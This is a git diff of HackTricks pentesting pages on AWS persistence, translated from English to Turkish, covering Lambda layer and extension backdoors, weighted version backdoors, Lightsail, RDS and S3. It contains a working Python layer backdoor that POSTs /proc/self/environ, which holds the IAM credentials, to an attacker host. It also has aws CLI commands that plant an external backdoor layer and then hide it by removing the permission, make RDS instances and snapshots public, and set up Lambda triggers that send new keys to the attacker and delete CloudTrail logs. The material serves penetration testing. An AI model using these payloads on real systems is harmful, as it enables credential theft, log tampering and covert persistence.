Lambda Sürekliliği {{#include ../../../../banners/hacktricks-training.md}} ## Lambda -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../../aws-services/aws-lambda-enum.md {{#endref}} -### Lambda Layer Persistence +### Lambda Katmanı Sürekliliği -It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way: +Lambda çalıştırıldığında **rastgele kod çalıştırmak için bir katman tanıtmak/arka kapı eklemek** mümkündür: {{#ref}} aws-lambda-layers-persistence.md {{#endref}} -### Lambda Extension Persistence +### Lambda Uzantı Sürekliliği -Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests. +Lambda Katmanlarını kötüye kullanarak uzantıları da kötüye kullanmak ve lambdada kalıcı olmak, ayrıca istekleri çalmak ve değiştirmek mümkündür. {{#ref}} aws-abusing-lambda-extensions.md {{#endref}} -### Via resource policies +### Kaynak politikaları aracılığıyla -It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts: +Farklı lambda eylemlerine (örneğin çağırma veya kod güncelleme gibi) dış hesaplara erişim vermek mümkündür:
-### Versions, Aliases & Weights +### Sürümler, Takma Adlar & Ağırlıklar -A Lambda can have **different versions** (with different code each version).\ -Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\ -This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth. +Bir Lambda **farklı sürümlere** (her sürümde farklı kodlarla) sahip olabilir.\ +Sonra, lambdanın **farklı sürümleriyle farklı takma adlar** oluşturabilir ve her birine farklı ağırlıklar ayarlayabilirsiniz.\ +Bu şekilde bir saldırgan **arka kapılı sürüm 1** ve **yalnızca meşru kod içeren sürüm 2** oluşturabilir ve **isteklerin %1'inde yalnızca sürüm 1'i çalıştırarak** gizli kalabilir.
-### Version Backdoor + API Gateway +### Sürüm Arka Kapısı + API Gateway -1. Copy the original code of the Lambda -2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST - 1. Call the API gateway related to the lambda to execute the code -3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST. - 1. This will hide the backdoored code in a previous version -4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1::function::1` - 1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario). -5. Select the POST method created and in Actions select **`Deploy API`** -6. Now, when you **call the function via POST your Backdoor** will be invoked +1. Lambdanın orijinal kodunu kopyalayın +2. Orijinal kodu **arka kapı ekleyerek yeni bir sürüm oluşturun** (veya sadece kötü niyetli kodla). Bu sürümü yayınlayın ve **$LATEST'e dağıtın** +1. Kodu çalıştırmak için lambdayla ilgili API geçidini çağırın +3. **Orijinal kodla yeni bir sürüm oluşturun**, yayınlayın ve bu **sürümü** $LATEST'e dağıtın. +1. Bu, arka kapılı kodu önceki bir sürümde gizleyecektir +4. API Gateway'e gidin ve **arka kapılı sürümü çalıştıracak yeni bir POST yöntemi oluşturun** (veya başka bir yöntemi seçin): `arn:aws:lambda:us-east-1::function::1` +1. Sonundaki :1'in **işlevin sürümünü gösterdiğini** unutmayın (bu senaryoda sürüm 1 arka kapılı olacaktır). +5. Oluşturulan POST yöntemini seçin ve Eylemler'de **`API'yi Dağıt`** seçin +6. Artık, **POST aracılığıyla işlevi çağırdığınızda Arka Kapınız** tetiklenecektir -### Cron/Event actuator +### Cron/Olay aktüatörü -The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\ -Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**. +**Lambda işlevlerinin bir şey olduğunda veya bir süre geçtiğinde çalışmasını sağlamak**, lambdayı süreklilik sağlamak ve tespiti önlemek için hoş ve yaygın bir yol haline getirir.\ +AWS'deki **varlığınızı daha gizli hale getirmek için lambdalar oluşturma** konusunda bazı fikirleriniz var. -- Every time a new user is created lambda generates a new user key and send it to the attacker. -- Every time a new role is created lambda gives assume role permissions to compromised users. -- Every time new cloudtrail logs are generated, delete/alter them +- Her yeni kullanıcı oluşturulduğunda lambda yeni bir kullanıcı anahtarı oluşturur ve bunu saldırgana gönderir. +- Her yeni rol oluşturulduğunda lambda, tehlikeye atılmış kullanıcılara rol üstlenme izinleri verir. +- Her yeni cloudtrail kaydı oluşturulduğunda, bunları silin/değiştirin. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md index 71655ada0..cf48d9abd 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -1,46 +1,42 @@ -# AWS - Abusing Lambda Extensions +# AWS - Lambda Uzantılarını Kötüye Kullanma {{#include ../../../../banners/hacktricks-training.md}} -## Lambda Extensions +## Lambda Uzantıları -Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**. +Lambda uzantıları, çeşitli **izleme, gözlemlenebilirlik, güvenlik ve yönetişim araçları** ile entegrasyon sağlayarak işlevleri geliştirir. Bu uzantılar, [.zip arşivleri kullanarak Lambda katmanları](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) aracılığıyla eklenir veya [konteyner görüntüsü dağıtımlarında](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/) yer alır ve iki modda çalışır: **içsel** ve **dışsal**. -- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**. -- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**. +- **İçsel uzantılar**, çalışma zamanı süreciyle birleşerek, **dil spesifik ortam değişkenleri** ve **sarmalayıcı betikler** kullanarak başlatmasını manipüle eder. Bu özelleştirme, **Java Correto 8 ve 11, Node.js 10 ve 12, ve .NET Core 3.1** dahil olmak üzere çeşitli çalışma zamanlarına uygulanır. +- **Dışsal uzantılar**, ayrı süreçler olarak çalışır ve Lambda işlevinin yaşam döngüsü ile operasyon uyumunu korur. **Node.js 10 ve 12, Python 3.7 ve 3.8, Ruby 2.5 ve 2.7, Java Corretto 8 ve 11, .NET Core 3.1** ve **özel çalışma zamanları** gibi çeşitli çalışma zamanlarıyla uyumludur. -For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html). +[**Lambda uzantılarının nasıl çalıştığı hakkında daha fazla bilgi için belgeleri kontrol edin**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html). -### External Extension for Persistence, Stealing Requests & modifying Requests +### Süreklilik, İstekleri Çalma ve İstekleri Değiştirme için Dışsal Uzantı -This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) +Bu, bu yazıda önerilen tekniğin bir özetidir: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) -It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapid’s heap memory, by design.** +Lambda çalışma zamanı ortamındaki varsayılan Linux çekirdeğinin “**process_vm_readv**” ve “**process_vm_writev**” sistem çağrıları ile derlendiği bulunmuştur. Ve tüm süreçler aynı kullanıcı kimliği ile çalışır, dışsal uzantı için oluşturulan yeni süreç bile. **Bu, dışsal bir uzantının tasarım gereği Rapid’in yığın belleğine tam okuma ve yazma erişimine sahip olduğu anlamına gelir.** -Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request. +Ayrıca, Lambda uzantıları **çağrı olaylarına abone olma** yeteneğine sahipken, AWS bu uzantılara ham verileri açıklamaz. Bu, **uzantıların HTTP isteği aracılığıyla iletilen hassas bilgilere erişemeyeceğini** garanti eder. -The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid. +Init (Rapid) süreci, [http://127.0.0.1:9001](http://127.0.0.1:9001/) adresinde tüm API isteklerini izlerken, Lambda uzantıları başlatılır ve herhangi bir çalışma zamanı kodunun yürütülmesinden önce, ancak Rapid'ten sonra çalışır.

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png

-The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions. +**`AWS_LAMBDA_RUNTIME_API`** değişkeni, **çocuk çalışma zamanı süreçlerine** ve ek uzantılara Rapid API'nin **IP** adresini ve **port** numarasını gösterir. > [!WARNING] -> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number. +> **`AWS_LAMBDA_RUNTIME_API`** ortam değişkenini erişim sağladığımız bir **`port`** ile değiştirerek, Lambda çalışma zamanı içindeki tüm eylemleri kesmek mümkündür (**man-in-the-middle**). Bu, uzantının Rapid Init ile aynı ayrıcalıklarla çalışmasından ve sistemin çekirdeğinin **işlem belleğini değiştirmeye** izin vermesinden kaynaklanmaktadır; bu da port numarasının değiştirilmesini sağlar. -Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment. +Çünkü **uzantılar herhangi bir çalışma zamanı kodundan önce çalışır**, ortam değişkenini değiştirmek, çalışma zamanı süreci (örneğin, Python, Java, Node, Ruby) başlarken etkileyecektir. Ayrıca, bu değişkene bağımlı olan **uzantılarımızdan sonra yüklenen** uzantılar da uzantımız üzerinden yönlendirilecektir. Bu yapı, kötü amaçlı yazılımların güvenlik önlemlerini tamamen atlamasına veya doğrudan çalışma zamanı ortamında günlük uzantılarını atlamasına olanak tanıyabilir.

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png

-The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**. +[**lambda-spy**](https://github.com/clearvector/lambda-spy) aracı, bu **bellek yazma** ve lambda isteklerinden hassas bilgileri **çalma** ve hatta **değiştirme** işlemlerini gerçekleştirmek için oluşturulmuştur. -## References +## Referanslar - [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/) - [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md index f8a5e2868..09e08df25 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md @@ -1,82 +1,75 @@ -# AWS - Lambda Layers Persistence +# AWS - Lambda Katmanları Sürekliliği {{#include ../../../../banners/hacktricks-training.md}} -## Lambda Layers +## Lambda Katmanları -A Lambda layer is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files. +Bir Lambda katmanı, **ekstra kod** veya diğer içerikleri **içerebilen** bir .zip dosyası arşividir. Bir katman, kütüphaneler, bir [özel çalışma zamanı](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), veri veya yapılandırma dosyaları içerebilir. -It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment. +Her fonksiyon için **beş katmana kadar** dahil etmek mümkündür. Bir katmanı bir fonksiyona dahil ettiğinizde, **içerikler yürütme ortamındaki `/opt`** dizinine çıkarılır. -By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version. +**Varsayılan olarak**, oluşturduğunuz **katmanlar** AWS hesabınıza **özel**dir. Bir katmanı diğer hesaplarla **paylaşmayı** veya katmanı **genel** hale getirmeyi seçebilirsiniz. Fonksiyonlarınız, farklı bir hesap tarafından yayımlanan bir katmanı tüketiyorsa, fonksiyonlarınız **katman silindikten sonra veya katmana erişim izniniz geri alındıktan sonra katman sürümünü kullanmaya devam edebilir**. Ancak, silinmiş bir katman sürümünü kullanarak yeni bir fonksiyon oluşturamaz veya fonksiyonları güncelleyemezsiniz. -Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image. +Bir konteyner görüntüsü olarak dağıtılan fonksiyonlar katmanları kullanmaz. Bunun yerine, görüntüyü oluşturduğunuzda tercih ettiğiniz çalışma zamanı, kütüphaneler ve diğer bağımlılıkları konteyner görüntüsüne paketlersiniz. -### Python load path - -The load path that Python will use in lambda is the following: +### Python yükleme yolu +Python'un lambda'da kullanacağı yükleme yolu şudur: ``` ['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages'] ``` - Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`** > [!CAUTION] -> If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation. +> Eğer bir saldırgan kullanılan bir lambda **layer**'ına **arka kapı** eklemeyi veya **bir tane eklemeyi** başarırsa ve bu, **yaygın bir kütüphane yüklendiğinde rastgele kod çalıştırıyorsa**, her lambda çağrısında kötü niyetli kod çalıştırabilir. -Therefore, the requisites are: +Bu nedenle, gereksinimler şunlardır: -- **Check libraries** that are **loaded** by the victims code -- Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library. +- **Kurbanların kodu tarafından yüklenen kütüphaneleri kontrol et** +- **Özel kod çalıştıracak ve orijinal** kütüphaneyi **yükleyecek bir proxy kütüphanesi oluştur.** -### Preloaded libraries +### Önceden yüklenmiş kütüphaneler > [!WARNING] -> When abusing this technique I found a difficulty: Some libraries are **already loaded** in python runtime when your code gets executed. I was expecting to find things like `os` or `sys`, but **even `json` library was loaded**.\ -> In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed. - -With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda: +> Bu tekniği kötüye kullanırken bir zorlukla karşılaştım: Bazı kütüphaneler, kodunuz çalıştırıldığında python çalışma zamanında **zaten yüklenmiş** durumda. `os` veya `sys` gibi şeyler bulmayı bekliyordum, ama **hatta `json` kütüphanesi bile yüklüydü**.\ +> Bu kalıcılık tekniğini kötüye kullanmak için, kod çalıştırıldığında **yüklenmemiş yeni bir kütüphaneyi yüklemesi** gerekiyor. +Bu python kodu ile lambda'da python çalışma zamanında **önceden yüklenmiş kütüphanelerin listesini** elde etmek mümkündür: ```python import sys def lambda_handler(event, context): - return { - 'statusCode': 200, - 'body': str(sys.modules.keys()) - } +return { +'statusCode': 200, +'body': str(sys.modules.keys()) +} ``` - -And this is the **list** (check that libraries like `os` or `json` are already there) - +Ve bu **liste** (kütüphanelerin `os` veya `json` gibi zaten orada olduğundan emin olun) ``` 'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function' ``` +Ve bu, **lambda'nın varsayılan olarak yüklediği kütüphaneler** listesidir: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3) -And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3) +### Lambda Katmanı Arka Kapı -### Lambda Layer Backdooring +Bu örnekte, hedef kodun **`csv`**'yi içe aktardığını varsayalım. **`csv` kütüphanesinin içe aktarımına arka kapı koyacağız**. -In this example lets suppose that the targeted code is importing **`csv`**. We are going to be **backdooring the import of the `csv` library**. +Bunu yapmak için, **`/opt/python/lib/python3.9/site-packages`** yolunda **csv** adlı dizini ve içinde **`__init__.py`** dosyasını oluşturacağız.\ +Sonra, lambda çalıştırıldığında ve **csv**'yi yüklemeye çalıştığında, **`__init__.py` dosyamız yüklenecek ve çalıştırılacaktır**.\ +Bu dosya şunları yapmalıdır: -For doing that, we are going to **create the directory csv** with the file **`__init__.py`** on it in a path that is loaded by lambda: **`/opt/python/lib/python3.9/site-packages`**\ -Then, when the lambda is executed and try to load **csv**, our **`__init__.py` file will be loaded and executed**.\ -This file must: - -- Execute our payload -- Load the original csv library - -We can do both with: +- Payload'ımızı çalıştırmak +- Orijinal csv kütüphanesini yüklemek +Her ikisini de şu şekilde yapabiliriz: ```python import sys from urllib import request with open("/proc/self/environ", "rb") as file: - url= "https://attacker13123344.com/" #Change this to your server - req = request.Request(url, data=file.read(), method="POST") - response = request.urlopen(req) +url= "https://attacker13123344.com/" #Change this to your server +req = request.Request(url, data=file.read(), method="POST") +response = request.urlopen(req) # Remove backdoor directory from path to load original library del_path_dir = "/".join(__file__.split("/")[:-2]) @@ -90,29 +83,27 @@ import csv as _csv sys.modules["csv"] = _csv ``` +Sonra, bu kodu **`python/lib/python3.9/site-packages/__init__.py`** yolunda bir zip dosyası oluşturun ve bunu bir lambda katmanı olarak ekleyin. -Then, create a zip with this code in the path **`python/lib/python3.9/site-packages/__init__.py`** and add it as a lambda layer. +Bu kodu [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) adresinde bulabilirsiniz. -You can find this code in [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) - -The integrated payload will **send the IAM creds to a server THE FIRST TIME it's invoked or AFTER a reset of the lambda container** (change of code or cold lambda), but **other techniques** such as the following could also be integrated: +Entegre yük, **ilk kez çağrıldığında veya lambda konteynerinin sıfırlanmasından sonra IAM kimlik bilgilerini bir sunucuya gönderecektir** (kod değişikliği veya soğuk lambda), ancak **aşağıdaki gibi diğer teknikler** de entegre edilebilir: {{#ref}} ../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md {{#endref}} -### External Layers +### Harici Katmanlar -Note that it's possible to use **lambda layers from external accounts**. Moreover, a lambda can use a layer from an external account even if it doesn't have permissions.\ -Also note that the **max number of layers a lambda can have is 5**. +**Harici hesaplardan lambda katmanları** kullanmanın mümkün olduğunu unutmayın. Ayrıca, bir lambda, izinleri olmasa bile harici bir hesaptan bir katmanı kullanabilir.\ +Ayrıca, bir lambda'nın sahip olabileceği **maksimum katman sayısının 5 olduğunu** unutmayın. -Therefore, in order to improve the versatility of this technique an attacker could: - -- Backdoor an existing layer of the user (nothing is external) -- **Create** a **layer** in **his account**, give the **victim account access** to use the layer, **configure** the **layer** in victims Lambda and **remove the permission**. - - The **Lambda** will still be able to **use the layer** and the **victim won't** have any easy way to **download the layers code** (apart from getting a rev shell inside the lambda) - - The victim **won't see external layers** used with **`aws lambda list-layers`** +Bu nedenle, bu tekniğin çok yönlülüğünü artırmak için bir saldırgan şunları yapabilir: +- Kullanıcının mevcut bir katmanını arka kapı ile değiştirmek (hiçbir şey harici değil) +- **Kendi hesabında** bir **katman oluşturmak**, **kurban hesabına katmanı kullanma erişimi vermek**, **katmanı** kurbanın Lambda'sında **yapılandırmak** ve **izinleri kaldırmak**. +- **Lambda**, **katmanı kullanmaya** devam edebilecek ve **kurban**, **katman kodunu indirmek için** kolay bir yol bulamayacaktır (lambda içinde bir rev shell almanın dışında). +- Kurban, **`aws lambda list-layers`** ile kullanılan harici katmanları **görmeyecek**. ```bash # Upload backdoor layer aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" @@ -126,9 +117,4 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen # Remove permissions aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md index 88b0d082a..396c8fd84 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md @@ -1,37 +1,33 @@ -# AWS - Lightsail Persistence +# AWS - Lightsail Sürekliliği {{#include ../../../banners/hacktricks-training.md}} ## Lightsail -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-lightsail-enum.md {{#endref}} -### Download Instance SSH keys & DB passwords +### Instance SSH anahtarlarını ve DB şifrelerini indirin -They won't be changed probably so just having them is a good option for persistence +Muhtemelen değişmeyecekler, bu yüzden onları bulundurmak süreklilik için iyi bir seçenek. -### Backdoor Instances +### Arka Kapı Instance'ları -An attacker could get access to the instances and backdoor them: +Bir saldırgan instance'lara erişim sağlayabilir ve onlara arka kapı ekleyebilir: -- Using a traditional **rootkit** for example -- Adding a new **public SSH key** -- Expose a port with port knocking with a backdoor +- Örneğin geleneksel bir **rootkit** kullanarak +- Yeni bir **genel SSH anahtarı** ekleyerek +- Bir arka kapı ile port knocking ile bir port açarak -### DNS persistence +### DNS sürekliliği -If domains are configured: +Eğer alan adları yapılandırılmışsa: -- Create a subdomain pointing your IP so you will have a **subdomain takeover** -- Create **SPF** record allowing you to send **emails** from the domain -- Configure the **main domain IP to your own one** and perform a **MitM** from your IP to the legit ones +- IP'nizi işaret eden bir alt alan adı oluşturun, böylece bir **alt alan adı ele geçirme** gerçekleştirebilirsiniz. +- Alan adından **e-posta** göndermenizi sağlayan bir **SPF** kaydı oluşturun. +- **Ana alan IP'sini kendi IP'nizle** yapılandırın ve kendi IP'nizden meşru olanlara bir **MitM** gerçekleştirin. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md index b7a4b8f7b..79a4f4665 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md @@ -1,35 +1,27 @@ -# AWS - RDS Persistence +# AWS - RDS Sürekliliği {{#include ../../../banners/hacktricks-training.md}} ## RDS -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md {{#endref}} -### Make instance publicly accessible: `rds:ModifyDBInstance` - -An attacker with this permission can **modify an existing RDS instance to enable public accessibility**. +### Örneği herkese açık erişilebilir hale getirin: `rds:ModifyDBInstance` +Bu izne sahip bir saldırgan, **mevcut bir RDS örneğini herkese açık erişilebilir hale getirmek için değiştirebilir**. ```bash aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately ``` +### Veritabanı içinde bir yönetici kullanıcısı oluşturun -### Create an admin user inside the DB - -An attacker could just **create a user inside the DB** so even if the master users password is modified he **doesn't lose the access** to the database. - -### Make snapshot public +Bir saldırgan, **veritabanı içinde bir kullanıcı oluşturabilir**, böylece ana kullanıcı şifresi değiştirilse bile **veritabanına erişimini kaybetmez**. +### Anlık görüntüyü herkese açık hale getirin ```bash aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md index f2c4ce048..8fde0947f 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md @@ -1,29 +1,25 @@ -# AWS - S3 Persistence +# AWS - S3 Sürekliliği {{#include ../../../banners/hacktricks-training.md}} ## S3 -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-s3-athena-and-glacier-enum.md {{#endref}} -### KMS Client-Side Encryption +### KMS İstemci Tarafı Şifreleme -When the encryption process is done the user will use the KMS API to generate a new key (`aws kms generate-data-key`) and he will **store the generated encrypted key inside the metadata** of the file ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) so when the decrypting occur it can decrypt it using KMS again: +Şifreleme işlemi tamamlandığında kullanıcı, yeni bir anahtar oluşturmak için KMS API'sini kullanacak (`aws kms generate-data-key`) ve **oluşturulan şifreli anahtarı dosyanın meta verileri içinde saklayacaktır** ([python kod örneği](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) böylece şifre çözme işlemi gerçekleştiğinde KMS'yi tekrar kullanarak şifreyi çözebilir:
-Therefore, and attacker could get this key from the metadata and decrypt with KMS (`aws kms decrypt`) to obtain the key used to encrypt the information. This way the attacker will have the encryption key and if that key is reused to encrypt other files he will be able to use it. +Bu nedenle, bir saldırgan bu anahtarı meta verilerden alabilir ve KMS ile şifre çözme işlemi yaparak (`aws kms decrypt`) bilgileri şifrelemek için kullanılan anahtarı elde edebilir. Bu şekilde saldırgan şifreleme anahtarına sahip olacak ve eğer bu anahtar diğer dosyaları şifrelemek için yeniden kullanılırsa, onu kullanabilecektir. -### Using S3 ACLs +### S3 ACL'lerini Kullanma -Although usually ACLs of buckets are disabled, an attacker with enough privileges could abuse them (if enabled or if the attacker can enable them) to keep access to the S3 bucket. +Genellikle bucket'ların ACL'leri devre dışı bırakılmış olsa da, yeterli ayrıcalıklara sahip bir saldırgan bunları kötüye kullanabilir (eğer etkinse veya saldırgan bunları etkinleştirebiliyorsa) S3 bucket'ına erişimi sürdürmek için. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md index c15f27003..5ca2b2c21 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md @@ -1,57 +1,51 @@ -# AWS - Secrets Manager Persistence 